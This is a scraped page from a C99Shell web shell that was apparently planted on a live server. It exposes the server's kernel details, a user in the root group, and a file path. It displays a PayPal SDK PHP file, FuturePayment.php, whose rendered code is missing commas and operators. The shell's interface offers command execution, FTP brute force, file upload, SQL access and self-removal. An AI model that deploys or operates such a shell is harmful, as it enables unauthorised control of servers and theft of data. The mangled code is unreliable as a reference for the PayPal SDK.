!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/lib/PayPal/Api/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FuturePayment.php (1.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPal\Api;

use 
PayPal\Rest\ApiContext;
use 
PayPal\Transport\PayPalRestCall;

/**
 * Class FuturePayment
 *
 * @package PayPal\Api
 */
class FuturePayment extends Payment
{

    
/**
     * Extends the Payment object to create future payments
     *
     * @param null $apiContext
     * @param string|null  $clientMetadataId
     * @return $this
     */
    
public function create($apiContext null$clientMetadataId null)
    {
        if (
$apiContext == null) {
            
$apiContext = new ApiContext(self::$credential);
        }
        
$headers = array();
        if (
$clientMetadataId != null) {
            
$headers = array(
                
'PAYPAL-CLIENT-METADATA-ID' => $clientMetadataId
            
);
        }
        
$payLoad $this->toJSON();
        
$call = new PayPalRestCall($apiContext);
        
$json $call->execute(
            array(
'PayPal\Handler\RestHandler'),
            
"/v1/payments/payment",
            
"POST",
            
$payLoad,
            
$headers
        
);
        
$this->fromJson($json);

        return 
$this;

    }

    
/**
     * Get a Refresh Token from Authorization Code
     *
     * @param $authorizationCode
     * @param ApiContext $apiContext
     * @return string|null refresh token
     */
    
public static function getRefreshToken($authorizationCode$apiContext null)
    {
        
$apiContext $apiContext $apiContext : new ApiContext(self::$credential);
        
$credential $apiContext->getCredential();
        return 
$credential->getRefreshToken($apiContext->getConfig(), $authorizationCode);
    }

    
/**
     * Updates Access Token using long lived refresh token
     *
     * @param string|null $refreshToken
     * @param ApiContext $apiContext
     * @return void
     */
    
public function updateAccessToken($refreshToken$apiContext)
    {
        
$apiContext $apiContext $apiContext : new ApiContext(self::$credential);
        
$apiContext->getCredential()->updateAccessToken($apiContext->getConfig(), $refreshToken);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--